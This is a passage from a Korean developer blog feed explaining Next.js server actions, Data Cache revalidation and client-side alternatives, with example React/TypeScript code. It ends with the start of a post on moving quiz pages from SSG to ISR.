<p>그리고 <code>handleFormSubmit</code>함수는 브라우저가 아닌 Next 서버에서 실행됩니다. 위 함수가 서버에서 실행되기 때문에 브라우저에 Javascript가 로드되지 않더라도 사용할 수 있는거죠.</p>
<p>이처럼 server action을 사용하면 Javascript가 로드되지 않더라도 폼 제출이 가능하다는 장점이 있습니다.</p>
<h4 id="장점-사용자-네트워크-고려">장점-사용자 네트워크 고려</h4>
<p>이는 느린 네트워크를 사용하는 사용자를 위해 Javascript가 로드되지 않더라도 폼 제출을 할 수 있도록 해줄 수 있습니다.</p>
<h3 id="장점---ui를-초기-렌더링에-보여주기">장점 - UI를 초기 렌더링에 보여주기</h3>
<p>server action을 사용하면 <strong>UI를 초기 렌더링에 빠르게 보여줄 수 있습니다.</strong> 이것이 무슨 말이냐하면 <strong>특정 UI를 클라이언트 컴포넌트로 사용하는 대신 서버 컴포넌트로 작성</strong>하여 페이지 로드시 UI는 빠르게 보여줄 수 있습니다.</p>
<p>클라이언트 컴포넌트보다 서버 컴포넌트가 더 빠르게 로드되니깐요.</p>
<p>예를 들어, SSG 방식으로 렌더링된 포스팅 페이지가 있고 내부에는 좋아요 UI가 있다고 해봅시다. 
좋아요 UI가 클라이언트 컴포넌트로 작성되어있을 경우와 서버 컴포넌트로 작성되어있는 경우로 나누어 보겠습니다.</p>
<h4 id="클라이언트-컴포넌트로-좋아요-ui-작성">클라이언트 컴포넌트로 좋아요 UI 작성</h4>
<p>다음은 클라이언트 컴포넌트로 좋아요 UI 작성한 코드입니다.</p>
<pre><code class="language-tsx">// components/LikeButton.tsx
&quot;use client&quot;;

import { useState } from &quot;react&quot;;

export function LikeButton({ postId, initialLikes }: { postId: string; initialLikes: number }) {
  const [likes, setLikes] = useState(initialLikes);
  const [loading, setLoading] = useState(false);

  const handleLike = async () =&gt; {
    setLoading(true);
    try {
      const response = await fetch(&quot;/api/like&quot;, {
        method: &quot;POST&quot;,
        headers: { &quot;Content-Type&quot;: &quot;application/json&quot; },
        body: JSON.stringify({ postId }),
      });

      if (response.ok) {
        const data = await response.json();
        setLikes(data.likes); // 업데이트된 좋아요 수 반영
      } else {
        console.error(&quot;Failed to like the post&quot;);
      }
    } catch (error) {
      console.error(&quot;Error:&quot;, error);
    } finally {
      setLoading(false);
    }
  };

  return (
    &lt;button onClick={handleLike} disabled={loading}&gt;
      {loading ? &quot;Liking...&quot; : `Like (${likes})`}
    &lt;/button&gt;
  );
}

export default function PostPage({ postId, initialLikes }: { postId: string; initialLikes: number }) {
  return (
    &lt;div&gt;
      &lt;h1&gt;Post Title&lt;/h1&gt;
      &lt;p&gt;Static Content about the Post&lt;/p&gt;

      {/* 좋아요 버튼 */}
      &lt;LikeButton postId={postId} initialLikes={initialLikes} /&gt;
    &lt;/div&gt;
  );
}</code></pre>
<p>위 LikeButton UI는 클라이언트 컴포넌트로 작성되어있습니다. PostPage가 SSG 방식으로 설정되어있어도 Like Button은 클라이언트에서 렌더링되기 때문에 바로 UI가 나타나지 않습니다.</p>
<h4 id="서버-컴포넌트로-좋아요-ui-작성">서버 컴포넌트로 좋아요 UI 작성</h4>
<p>다음은 서버 컴포넌트로 좋아요 UI 작성한 코드입니다.</p>
<pre><code class="language-ts">// app/post/[id]/actions.ts
&quot;use server&quot;;

import { revalidatePath } from &quot;next/cache&quot;;

export async function likePost(postId: string) {
  // 예: DB에서 좋아요 증가 처리
  console.log(`Post liked: ${postId}`);

  // 캐시 무효화 (좋아요 수 업데이트)
  revalidatePath(`/post/${postId}`);
}</code></pre>
<pre><code class="language-tsx">// app/post/[id]/page.tsx
import { likePost } from &quot;./actions&quot;;

export default function PostPage({ params }: { params: { id: string } }) {
  const { id } = params;

  return (
    &lt;div&gt;
      &lt;h1&gt;Post Title&lt;/h1&gt;
      &lt;p&gt;Static Content about the Post&lt;/p&gt;

      {/* JavaScript 없이도 동작하는 폼 */}
      &lt;form action={likePost.bind(null, id)}&gt;
        &lt;button type=&quot;submit&quot;&gt;Like&lt;/button&gt;
      &lt;/form&gt;

      &lt;p id=&quot;like-count&quot;&gt;Likes: 0&lt;/p&gt;
    &lt;/div&gt;
  );
}
</code></pre>
<p>위 포스트 페이지를 SSG 방식으로 로드했다고 했을 때, 좋아요 UI는 페이지 로드시 바로 나타나게 됩니다. 하지만 Javascript들은 로드가 되지 않았을 수도 있죠.</p>
<p>하지만 위처럼 server action을 사용하면 Javascript가 로드되지 않았던 시점에 사용자가 좋아요 버튼을 눌렀다해도 <code>좋아요 함수</code>기능은 작동합니다.</p>
<p>이처럼 server action을 사용하면 빠르게 UI를 보여주면서도 기능도 작동하게 할 수 있습니다.</p>
<h2 id="폼-데이터를-처리하는-로직을-클라이언트에서-서버로-위임">폼 데이터를 처리하는 로직을 클라이언트에서 서버로 위임</h2>
<p>폼 데이터를 처리하는 로직을 클라이언트에서 서버로 위임하면 <strong>컴포넌트가 UI에만 집중할 수 있게 해주고 클라이언트 번들 사이즈를 줄일 수도 있습니다.</strong></p>
<p>클라이언트 컴포넌트에서 폼 로직을 처리한다면 state handling이 추가되어야하고 validation ,API 통신 등 로직이 컴포넌트에 있을 수 있습니다. 이는 컴포넌트의 역할, UI에 대한 책임을 불분명하게 할 수 있습니다. 또한 클라이언트에 대한 Javascript 로직이 늘어 클라이언트 번들 사이즈가 커질 수도 있습니다.</p>
<p>하지만 server action을 사용하면 위 로직들을 서버로 위임할 수 있습니다. 이로 인해, <strong>컴포넌트가 UI에 대한 책임을 분명히 할 수 있고 로직을 서버로 위임함으로써 번들 사이즈도 줄일 수 있습니다.</strong></p>
<blockquote>
<p><strong>클라이언트 번들 사이즈가 커질수록?</strong>
클라이언트 번들 사이즈가 커질수록 Javascript 로드해야할 양이 더 많아집니다. 이로 인해 시간도 더 오래 걸릴 수 있겠죠. 때문에 클라이언트 번들 사이즈 Javascript를 가능하다면 서버로 위임하는 것이 최적화의 방법일 수 있어요.</p>
</blockquote>
<h4 id="클라이언트에서-폼-로직-처리할시">클라이언트에서 폼 로직 처리할시</h4>
<p>아래는 폼 로직을 클라이언트쪽에서 처리할 경우의 코드입니다.</p>
<pre><code class="language-tsx">&quot;use client&quot;

import React, { useState } from &quot;react&quot;;

function ClientForm() {
  const [formData, setFormData] = useState({ name: &quot;&quot;, email: &quot;&quot; });
  const [errors, setErrors] = useState({ name: &quot;&quot;, email: &quot;&quot; });

  const validate = () =&gt; {
    const newErrors = {};
    if (!formData.name) newErrors.name = &quot;Name is required.&quot;;
    if (!formData.email) newErrors.email = &quot;Email is required.&quot;;
    else if (!/^\S+@\S+\.\S+$/.test(formData.email)) newErrors.email = &quot;Email is invalid.&quot;;
    setErrors(newErrors);
    return Object.keys(newErrors).length === 0;
  };

  const handleChange = (e) =&gt; {
    setFormData({ ...formData, [e.target.name]: e.target.value });
    setErrors({ ...errors, [e.target.name]: &quot;&quot; }); // Clear error on change
  };

  const handleSubmit = async (e) =&gt; {
    e.preventDefault();
    if (!validate()) return; // Stop if validation fails
    try {
      const response = await fetch(&quot;/api/submit&quot;, {
        method: &quot;POST&quot;,
        headers: { &quot;Content-Type&quot;: &quot;application/json&quot; },
        body: JSON.stringify(formData),
      });
      const data = await response.json();
      console.log(&quot;Server Response:&quot;, data);
    } catch (error) {
      console.error(&quot;Error submitting form:&quot;, error);
    }
  };

  return (
    &lt;form onSubmit={handleSubmit}&gt;
      &lt;div&gt;
        &lt;input
          type=&quot;text&quot;
          name=&quot;name&quot;
          placeholder=&quot;Name&quot;
          value={formData.name}
          onChange={handleChange}
        /&gt;
        {errors.name &amp;&amp; &lt;span style={{ color: &quot;red&quot; }}&gt;{errors.name}&lt;/span&gt;}
      &lt;/div&gt;
      &lt;div&gt;
        &lt;input
          type=&quot;email&quot;
          name=&quot;email&quot;
          placeholder=&quot;Email&quot;
          value={formData.email}
          onChange={handleChange}
        /&gt;
        {errors.email &amp;&amp; &lt;span style={{ color: &quot;red&quot; }}&gt;{errors.email}&lt;/span&gt;}
      &lt;/div&gt;
      &lt;button type=&quot;submit&quot;&gt;Submit&lt;/button&gt;
    &lt;/form&gt;
  );
}

export default ClientForm;</code></pre>
<p><code>ClientForm</code> 컴포넌트의 역할은 다음과 같습니다.</p>
<ul>
<li>validation</li>
<li>state handling</li>
<li>UI 렌더링</li>
</ul>
<p>위에 대한 로직들이 ClientForm에 집약됩니다.</p>
<p>컴포넌트는 UI에 대한 책임말고도 많은 책임을 담당하고 있죠. 물론 custom hook을 통해 분리해도 되죠. </p>
<p>또한 클라이언트 로직이 추가됨으로써 클라이언트 Javascript 번들 크기가 증가합니다.</p>
<h4 id="server-action-을-사용하여-폼-로직-처리">server action 을 사용하여 폼 로직 처리</h4>
<p>다음은 server action을 통해 폼 로직을 처리하는 코드입니다.</p>
<pre><code class="language-ts">&#39;use server&#39;

import { redirect } from &#39;next/navigation&#39;

export async function createUser(prevState: any, formData: FormData) {
  const res = await fetch(&#39;https://...&#39;)
  const json = await res.json()

  if (!res.ok) {
    return { message: &#39;Please enter a valid email&#39; }
  }

  redirect(&#39;/dashboard&#39;)
}</code></pre>
<pre><code class="language-tsx">&#39;use client&#39;

import { useFormState } from &#39;react-dom&#39;
import { createUser } from &#39;@/app/actions&#39;

const initialState = {
  message: &#39;&#39;,
}

export function Signup() {
  const [state, formAction] = useFormState(createUser, initialState)

  return (
    &lt;form action={formAction}&gt;
      &lt;label htmlFor=&quot;email&quot;&gt;Email&lt;/label&gt;
      &lt;input type=&quot;text&quot; id=&quot;email&quot; name=&quot;email&quot; required /&gt;
      {/* ... */}
      &lt;p aria-live=&quot;polite&quot;&gt;{state?.message}&lt;/p&gt;
      &lt;button&gt;Sign up&lt;/button&gt;
    &lt;/form&gt;
  )
}</code></pre>
<p><code>action</code>에서 폼 로직을 처리하고 있습니다. 이 덕분에 <code>Signup</code> 컴포넌트는 UI에만 더욱 집중할 수 있습니다. 뿐만 아니라 <strong>state handling하는 코드도 줄었다</strong>는 장점이 있습니다. validation 로직 또한 action으로 이관하였습니다. action에서 처리한 에러는 클라이언트에서 <code>useFormState</code>를 사용하여 UI로 보여줄 수 있습니다.</p>
<p>위처럼 server action을 사용하면 폼 로직을 서버로 이관할 수 있고 에러 처리도 가능하여 <strong>컴포넌트가 UI에만 집중할 수 있게 해주고 클라이언트 번들 사이즈를 줄일 수도 있습니다.</strong></p>
<h2 id="캐싱-및-재검증cacherevalidate">캐싱 및 재검증(cache,revalidate)</h2>
<p>server action을 사용하면 next의 cache 기능들을 활용하고 재검증할 수 있습니다. 하지만 <strong>server action을 사용하지 않으면 캐시를 재검증할 방법이 없습니다.</strong></p>
<p>여기서 말하는 캐시는 Next의 Data Cache인데요.</p>
<p>먼저 Data Cache에 대해 간략히 짚고 넘어가야 캐시와 재검증을 파악할 수 있습니다.</p>
<h3 id="data-cache">Data Cache</h3>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/fc34d3bc-466b-4730-a68d-2cf5246188f8/image.png" alt=""></p>
<blockquote>
<p>Data Cache
Next.js has a built-in Data Cache that persists the result of data fetches across incoming server requests and deployments.</p>
</blockquote>
<p>Next.js는 서버에서 데이터를 요청(fetch)할 때, 데이터를 메모리에 저장해두는 Data Cache라는 공간을 제공하는데요.</p>
<blockquote>
<p> Next.js의 Data Cache는 서버 컴포넌트에서만 적용됩니다.</p>
</blockquote>
<p>이 Data Cache는 서버 요청 사이에서도 유지되며, <strong>서버가 다시 시작되거나 코드가 배포(deployment)되더라도 계속 유지</strong>될 수 있습니다.</p>
<p>즉,nextjs 서버 캐싱 공간에 백엔드 API에서 불러왔던 데이터가 저장되있다는 것인데요.</p>
<p>때문에 DB에 있는 데이터가 변경된다하더라도 <strong>DB에 있는 변경된 데이터를 가져오는 것이 아닌, nextjs 서버내 캐싱 데이터를 계속해서 가져오는 것</strong>입니다.</p>
<pre><code class="language-tsx"> // 퀴즈 상세 조회(상세 URL)
    async fetchQuizDetailByUrl(detailUrl: string): Promise&lt;IResponse&lt;QuizItem&gt;&gt; {
        return this.request&lt;QuizItem&gt;(`quiz/detail-url/${detailUrl}`, {
            method: &quot;GET&quot;,
            cache: &quot;no-store&quot;,
        });
    }

const Page = async ({
    params
                    }:{
    params:{
        detailUrl:string
    }
}) =&gt; {

    const { detailUrl } = await params
    const {data} = await quizApiHandler.fetchQuizDetailByUrl(detailUrl)

    return (
        &lt;QuizDetails
            quizData={data}
        /&gt;
    );
};</code></pre>
<p>위처럼 서버컴포넌트에서 data fetching(GET)을 해올 때,Data Cache를 활용할 수 있습니다.</p>
<h3 id="data-cache-무효화">Data Cache 무효화</h3>
<p>이 Data Cache를 무효화하기 위해서는 Next 기능인 <a href="https://nextjs.org/docs/app/api-reference/functions/revalidatePath"><code>revalidatePath</code></a> 또는 <a href="https://nextjs.org/docs/app/api-reference/functions/revalidateTag"><code>revalidateTag</code></a>를 사용해야 재검증할 수 있습니다. 이는 서버에서만 사용할 수 있는 기능입니다.</p>
<p>즉, 서버컴포넌트에서 data fetching(GET)한 데이터를 업데이트하기 위해서는 data mutation(POST...DELETE)을 할 시에,  서버 함수인 <code>revalidatePath</code>나 <code>revalidateTag</code>를 사용해야하죠.</p>
<h4 id="server-action을-통해-revalidate">server action을 통해 revalidate</h4>
<pre><code class="language-tsx">// app/data/page.tsx
export default async function Page() {
  const response = await fetch(`${process.env.NEXT_PUBLIC_API_URL}/api/data`, {
    next: { tags: [&quot;data&quot;] }, // &quot;data&quot; 태그로 캐싱 그룹화
  });
  const data = await response.json();

  return (
    &lt;div&gt;
      &lt;h1&gt;Server Component&lt;/h1&gt;
      &lt;p&gt;Data: {data.name}&lt;/p&gt;
      &lt;UpdateDataComponent initialData={data.name} /&gt;
    &lt;/div&gt;
  );
}
</code></pre>
<pre><code class="language-tsx">// app/data/UpdateDataComponent.tsx
&quot;use client&quot;;

import { useState } from &quot;react&quot;;
import { updateDataServer } from &quot;./actions&quot;;

export default function UpdateDataComponent({ initialData }: { initialData: string }) {
  const [name, setName] = useState(initialData);
  const [loading, setLoading] = useState(false);

  const handleUpdate = async () =&gt; {
    setLoading(true);
    try {
      await updateDataServer(name); // Server Action 호출
      console.log(&quot;Data updated and cache invalidated!&quot;);
    } catch (error) {
      console.error(&quot;Update failed:&quot;, error);
    } finally {
      setLoading(false);
    }
  };

  return (
    &lt;div&gt;
      &lt;input
        type=&quot;text&quot;
        value={name}
        onChange={(e) =&gt; setName(e.target.value)}
        placeholder=&quot;Update data&quot;
      /&gt;
      &lt;button onClick={handleUpdate} disabled={loading}&gt;
        {loading ? &quot;Updating...&quot; : &quot;Update&quot;}
      &lt;/button&gt;
    &lt;/div&gt;
  );
}
</code></pre>
<pre><code class="language-ts">// app/data/actions.ts
&quot;use server&quot;;

import { revalidateTag } from &quot;next/cache&quot;;

export async function updateDataServer(newName: string) {
  const response = await fetch(`${process.env.NEXT_PUBLIC_API_URL}/api/data`, {
    method: &quot;POST&quot;,
    headers: { &quot;Content-Type&quot;: &quot;application/json&quot; },
    body: JSON.stringify({ name: newName }),
  });

  if (!response.ok) throw new Error(&quot;Failed to update data&quot;);

  // &quot;data&quot; 태그의 캐시 무효화
  revalidateTag(&quot;data&quot;);
}
</code></pre>
<p>위처럼 <code>updateDataServer</code>라는 server action의 <code>revalidateTag</code>통해 페이지 컴포넌트에서 호출하는 API 데이터를 재검증할 수 있죠.</p>
<h4 id="클라이언트에서-revalidate">클라이언트에서 revalidate?</h4>
<p>하지만 클라이언트에서는 <code>revalidatePath</code>나 <code>revalidateTag</code>를 사용할 수 없습니다. 서버에서 사용할 수 있는 기능이니깐요.</p>
<pre><code class="language-tsx">// app/data/UpdateDataComponent.tsx
&quot;use client&quot;;

import { useState } from &quot;react&quot;;
import { updateDataServer } from &quot;./actions&quot;;

export default function UpdateDataComponent({ initialData }: { initialData: string }) {
  const [name, setName] = useState(initialData);
  const [loading, setLoading] = useState(false);

  const handleUpdate = async () =&gt; {
    setLoading(true);
    try {
       await fetch(`${process.env.NEXT_PUBLIC_API_URL}/api/data`, {
          method: &quot;POST&quot;,
          headers: { &quot;Content-Type&quot;: &quot;application/json&quot; },
          body: JSON.stringify({ name: newName }),
        });


        revalidateTag(&quot;data&quot;); // 사용 불가


    } catch (error) {
      console.error(&quot;Update failed:&quot;, error);
    } finally {
      setLoading(false);
    }
  };

  return (
    &lt;div&gt;
      &lt;input
        type=&quot;text&quot;
        value={name}
        onChange={(e) =&gt; setName(e.target.value)}
        placeholder=&quot;Update data&quot;
      /&gt;
      &lt;button onClick={handleUpdate} disabled={loading}&gt;
        {loading ? &quot;Updating...&quot; : &quot;Update&quot;}
      &lt;/button&gt;
    &lt;/div&gt;
  );
}
</code></pre>
<p>위와 같이 <code>handleUpdate</code>에서는 revalidate 기능을 사용할 수 없어 페이지 컴포넌트의 fetch Data를 재검증할 방법이 없어요. </p>
<blockquote>
<p>페이지 컴포넌트의 fetch API 옵션을 <code>cache:no-store</code>로 설정하면 캐시를 사용하지 않게 할 순 있어요.</p>
</blockquote>
<p>다음과 같이 서버 컴포넌트에서 Data Cache를 사용하지 않고 클라이언트 컴포넌트에서 통신하여 react-query 캐싱 같은 것으로 활용할 수 있겠죠.</p>
<h4 id="react-query를-이용한-캐싱-전략">react-query를 이용한 캐싱 전략</h4>
<p>만약 데이터 캐싱을 한다면 다음과 같이 리액트 쿼리를 쓰든가 하여 데이터를 불러오는 API를 클라이언트 컴포넌트에서 호출하여 캐싱 전략을 사용해야하죠.</p>
<pre><code class="language-tsx">&quot;use client&quot;;

import { useState } from &quot;react&quot;;
import { useQuery, useMutation, useQueryClient } from &quot;@tanstack/react-query&quot;;

async function fetchData() {
  const response = await fetch(&quot;/api/data&quot;);
  if (!response.ok) throw new Error(&quot;Network response was not ok&quot;);
  return response.json();
}

async function updateData(newName: string) {
  const response = await fetch(&quot;/api/data&quot;, {
    method: &quot;POST&quot;,
    headers: { &quot;Content-Type&quot;: &quot;application/json&quot; },
    body: JSON.stringify({ name: newName }),
  });
  if (!response.ok) throw new Error(&quot;Failed to update data&quot;);
  return response.json();
}

export default function DataComponent() {
  const queryClient = useQueryClient();
  const { data, isLoading, error } = useQuery([&quot;data&quot;], fetchData);
  const mutation = useMutation(updateData, {
    onSuccess: () =&gt; {
      // 데이터 변경 시 캐시를 무효화하거나 갱신
      queryClient.invalidateQueries([&quot;data&quot;]);
    },
  });

  const [inputValue, setInputValue] = useState(&quot;&quot;);

  if (isLoading) return &lt;p&gt;Loading...&lt;/p&gt;;
  if (error) return &lt;p&gt;Error: {error.message}&lt;/p&gt;;

  return (
    &lt;div&gt;
      &lt;h1&gt;Data: {data.name}&lt;/h1&gt;
      &lt;input
        value={inputValue}
        onChange={(e) =&gt; setInputValue(e.target.value)}
        placeholder=&quot;Update data&quot;
      /&gt;
      &lt;button onClick={() =&gt; mutation.mutate(inputValue)}&gt;Update&lt;/button&gt;
    &lt;/div&gt;
  );
}
</code></pre>
<p>따라서  <strong>Data Cache 기능을 사용하고, 이를 클라이언트 컴포넌트에서 data mutation해야한다면 server action을 사용</strong>해야합니다.</p>
<h2 id="효율적인-렌더링updated-ui-and-new-data-in-a-single-server-roundtrip">효율적인 렌더링(updated UI and new data in a single server roundtrip)</h2>
<p>server action을 사용하면 <strong>전통적인 클라이언트-서버 통신 방식보다 효율적으로 렌더링 할 수 있습니다.</strong></p>
<p>문서에는 server action 관련 내용 중 다음과 같은 내용이 있습니다.</p>
<blockquote>
<p>When an action is invoked, Next.js can return both the updated UI and new data in a single server roundtrip.</p>
</blockquote>
<p>server action을 사용하면 <strong>업데이트된 UI와 업데이트된 데이터를 한번에 받을 수 있다</strong>는 건데요.</p>
<p>여기서 업데이트된 UI와 새로운 데이터는 다음을 말합니다.</p>
<ul>
<li><p>업데이트된 UI: 서버에서 처리된 결과에 따라 클라이언트에게 즉시 <strong>갱신된 사용자 인터페이스(UI)</strong>가 전달</p>
</li>
<li><p>새로운 데이터: 데이터베이스 수정이나 외부 API 호출 등을 통해 얻어진 <strong>갱신된 데이터</strong>가 클라이언트로 함께 반환</p>
</li>
</ul>
<p>이 과정은 전통적인 클라이언트-서버 통신 방식보다 효율적입니다. 일반적으로 클라이언트에서 데이터를 서버에 요청하고, 서버는 이를 처리한 뒤 응답으로 데이터를 반환하는 과정이 따로따로 진행됩니다. 하지만 <strong>Server Action은 위 과정을 한번에 제공</strong>합니다.</p>
<h4 id="작동-방식">작동 방식</h4>
<p>Server Action 호출 시, Next.js는 다음과 같은 단계를 거칩니다</p>
<ol>
<li>클라이언트에서 액션 호출:</li>
</ol>
<p><strong>Server Action 함수가 호출</strong>되면, 브라우저는 이 요청을 POST 메서드로 <strong>서버에 전달</strong>합니다.</p>
<ol start="2">
<li>서버에서 데이터 처리:</li>
</ol>
<p><strong>외부 API를 호출</strong>합니다. 이 과정에서 필요한 로직과 데이터를 서버에서 처리합니다.</p>
<ol start="3">
<li>업데이트된 데이터와 UI 동기화:
서버는 처리된 결과를 기반으로 클라이언트에게 새로운 데이터를 반환합니다.</li>
</ol>
<p><strong>동시에 서버는 해당 데이터로 렌더링된 업데이트된 UI를 생성하여 클라이언트로 전달</strong>합니다.</p>
<ol start="4">
<li>클라이언트 갱신:
클라이언트는 <strong>서버에서 반환된 데이터와 UI를 받아 새롭게 렌더링</strong>합니다.
이때 페이지 리로드 없이도 화면이 갱신됩니다.</li>
</ol>
<p>이에 대한 장점은</p>
<ul>
<li>클라이언트와 서버 간의 요청/응답이 <strong>한 번만 발생</strong>하므로 네트워크 지연 시간이 줄어듭니다.</li>
<li><strong>서버는</strong> 처리된 결과를 기반으로 <strong>데이터를 갱신하고 UI까지 렌더링</strong>하기 때문에 클라이언트가 따로 데이터를 받고 UI를 다시 그릴 필요가 없습니다.</li>
</ul>
<p>예시 코드로 살펴보겠습니다.</p>
<h4 id="전통적인-방식클라이언트-서버">전통적인 방식(클라이언트-서버)</h4>
<p>우선 클라이언트 컴포넌트에서 데이터를 가져오고 업데이트하는 방식에 대한 코드입니다.</p>
<pre><code class="language-tsx">&#39;use client&#39;;

import { useState, useEffect } from &#39;react&#39;;

export function DataFetcher() {
  const [data, setData] = useState&lt;{ id: number; name: string } | null&gt;(null);
  const [input, setInput] = useState(&#39;&#39;);

  // 데이터 가져오기
  const fetchData = async () =&gt; {
    const response = await fetch(&#39;/api/item&#39;, { method: &#39;GET&#39; });
    const result = await response.json();
    setData(result);
  };

  // 데이터 갱신하기
  const updateData = async () =&gt; {
    const response = await fetch(&#39;/api/item&#39;, {
      method: &#39;POST&#39;,
      headers: { &#39;Content-Type&#39;: &#39;application/json&#39; },
      body: JSON.stringify({ name: input }),
    });

    if(response.ok)   {
      await fetchData()
    }
  };

  useEffect(() =&gt; {
    fetchData(); // 컴포넌트 마운트 시 데이터 가져오기
  }, []);

  return (
    &lt;div&gt;
      {data ? (
        &lt;p&gt;
          ID: {data.id}, Name: {data.name}
        &lt;/p&gt;
      ) : (
        &lt;p&gt;Loading...&lt;/p&gt;
      )}

      &lt;input
        type=&quot;text&quot;
        value={input}
        onChange={(e) =&gt; setInput(e.target.value)}
        placeholder=&quot;Update name&quot;
      /&gt;
      &lt;button onClick={updateData}&gt;Update&lt;/button&gt;
    &lt;/div&gt;
  );
}
</code></pre>
<ol>
<li>데이터를 업데이트(updateData)</li>
<li>갱신된 데이터 조회(fetchData)</li>
<li>갱신된 데이터로 컴포넌트 업데이트</li>
</ol>
<p>위와 같은 과정으로 데이트를 업데이트합니다.</p>
<p>갱신한 뒤에 , 데이터 조회하는 네트워크 통신과 렌더링 작업이 따로따로죠.</p>
<h4 id="server-action">server action</h4>
<h4 id="server-component로-데이터-불러오기">Server Component로 데이터 불러오기</h4>
<pre><code class="language-ts">// app/actions.ts
&#39;use server&#39;;

let item = { id: 1, name: &#39;Initial Item&#39; }; // 초기 데이터

// 데이터 가져오기
export async function fetchData() {
  return item;
}

// 데이터 갱신하기
export async function updateData(name: string) {
  item = { id: 1, name }; // 데이터 갱신
  return item;
}

</code></pre>
<pre><code class="language-ts">// app/page.tsx
import { fetchData } from &#39;@/app/actions&#39;;
import ClientComponent from &#39;@/app/client-component&#39;;

export default async function Page() {
  // 서버에서 데이터 불러오기
  const data = await fetchData();

  return (
    &lt;div&gt;
      &lt;h1&gt;Server Component&lt;/h1&gt;
      &lt;p&gt;
        ID: {data.id}, Name: {data.name}
      &lt;/p&gt;
      {/* 데이터를 Client Component로 전달 */}
      &lt;ClientComponent initialData={data} /&gt;
    &lt;/div&gt;
  );
}
</code></pre>
<h4 id="클라이언트-컴포넌트에서-데이터-갱신">클라이언트 컴포넌트에서 데이터 갱신</h4>
<pre><code class="language-tsx">&#39;use client&#39;;

import { useState } from &#39;react&#39;;
import { updateData } from &#39;@/app/actions&#39;;

export default function ClientComponent({
  initialData,
}: {
  initialData: { id: number; name: string };
  const [input, setInput] = useState(&#39;&#39;);

  // 데이터 갱신하기
  const handleUpdate = async () =&gt; {
    const updatedData = await updateData(input); // Server Action 호출
  };

  return (
    &lt;div&gt;
      &lt;h2&gt;Client Component&lt;/h2&gt;
      &lt;p&gt;
        ID: {data.id}, Name: {data.name}
      &lt;/p&gt;
      &lt;input
        type=&quot;text&quot;
        value={input}
        onChange={(e) =&gt; setInput(e.target.value)}
        placeholder=&quot;Update name&quot;
      /&gt;
      &lt;button onClick={handleUpdate}&gt;Update&lt;/button&gt;
    &lt;/div&gt;
  );
}
</code></pre>
<p>server action으로 호출할 때에는</p>
<ol>
<li>데이터 갱신(updateData)</li>
<li>데이터 조회 + 갱신된 데이터로 렌더링</li>
</ol>
<p>전통적인 방식에서는 데이터 조회와 렌더링을 따로따로 하였지만 <strong>server action 방식에서는 한번에 처리</strong>할 수 있습니다.</p>
<p>이렇게 server action을 통하여 서버에서 데이터를 미리 처리하면 클라이언트는 최소한의 작업만 수행할 수 있습니다.</p>
<h2 id="항상-data-mutation시-server-action을-써야할까">항상 data mutation시, server action을 써야할까?</h2>
<p>이처럼 대부분의 상황에서 server action을 사용하면 이점이 많습니다. 하지만 항상 data mutation시, server action을 써야할까요?</p>
<p>만약 <strong>data Mutation이 자주 발생하는 상황이라면 server action보다는 전통적인 방식이 더 나을 수 있습니다.</strong></p>
<p>무한스크롤,채팅,지도와 같이 mutation-fetching이 거의 계속 발생하는 상황일 때, server action을 사용하면 <strong>웹 서버(next)는 부담을 느낄 수 있습니다.</strong></p>
<p>계속해서 웹 서버는 렌더링 역할과 API 통신의 중계 역할까지 맡아야하니까요.</p>
<p>따라서 위와 같은 상황에서는 server action을 사용하기보단 전통적인 방식을 따르는 것이 더 좋을 수 있습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[렌더링 방식, SSG -> ISR 방식으로 변경]]></title>
            <link>https://velog.io/@kcj_dev96/%EB%A0%8C%EB%8D%94%EB%A7%81-%EB%B0%A9%EC%8B%9D-SSG-ISR-%EB%B0%A9%EC%8B%9D%EC%9C%BC%EB%A1%9C-%EB%B3%80%EA%B2%BD</link>
            <guid>https://velog.io/@kcj_dev96/%EB%A0%8C%EB%8D%94%EB%A7%81-%EB%B0%A9%EC%8B%9D-SSG-ISR-%EB%B0%A9%EC%8B%9D%EC%9C%BC%EB%A1%9C-%EB%B3%80%EA%B2%BD</guid>
            <pubDate>Thu, 05 Dec 2024 13:39:23 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/7ceb36d5-03b5-4d0a-8b65-98efe8866989/image.png" alt=""></p>
<p>퀴즈 프로젝트를 진행하는데 퀴즈 페이지들을 SSG 방식으로 빌드타임 때,만들어주고 있었습니다.</p>
<p>퀴즈 데이터를 하루마다 수정하고 있어 수정할 때마다 즉, 하루마다 배포를 진행해줘야하는데요.</p>
<p>이 과정이 꽤나 귀찮다고 느껴졌습니다.</p>
<p>그러던 찰나에 ISR이라는 것이 생각나 적용해보도록 하려합니다</p>
<h1 id="incremental-static-regeneration-isr"><a href="https://nextjs.org/docs/app/building-your-application/data-fetching/incremental-static-regeneration">Incremental Static Regeneration (ISR)</a></h1>
<p>ISR을 사용하면 전체 사이트를 다시 빌드하지 않고도 정적 콘텐츠 업데이트가 가능합니다. 즉,사이트 전체를 다시 빌드할 필요 없이 특정 페이지의 정적 콘텐츠를 주기적으로 갱신할 수 있습니다.</p>
<p>서버가 일정 시간 주기마다 <strong>요청된 페이지에 한해 데이터를 갱신하여 페이지를 다시 생성</strong>해주는 방식입니다. 하지만 이 과정은 모든 페이지가 아닌, <strong>요청이 들어온 페이지에만 적용</strong>됩니다.</p>
<p>저의 경우에는 next 웹 서버를 AWS EC2에 배포하였는데요.</p>
<p>ISR 캐시는 기본적으로 <strong>서버의 디스크(파일 시스템)</strong>에 저장됩니다.
예를 들어, AWS EC2 같은 서버를 사용해 Next.js를 배포했다면, ISR 캐시는 서버의 디스크에 저장됩니다.</p>
<h2 id="동작-단계">동작 단계</h2>
<p><strong>1. 빌드 시점</strong>
next build 단계에서는 generateStaticParams 또는 알려진 경로에 대해 정적 HTML 페이지를 미리 생성합니다.
이 과정에서 생성된 페이지는 캐시에 저장되고, 클라이언트 요청 시 즉시 제공됩니다.</p>
<p><strong>2. 요청 처리와 캐시 확인</strong>
빌드 이후 클라이언트 요청이 발생하면:
캐시에 해당 페이지가 있으면 캐시된 정적 페이지를 즉시 반환합니다.
이 과정에서는 서버에서 별도의 데이터를 요청하거나 페이지를 다시 생성하지 않습니다.</p>
<p><strong>3. 캐시 유효성 검증 (Revalidation)</strong>
캐시의 유효 기간(예: revalidate: 60)이 지나면 클라이언트 요청이 들어올 때 캐시를 무효화합니다.
백그라운드에서 서버가 새로운 데이터를 요청하여 페이지를 다시 생성합니다.
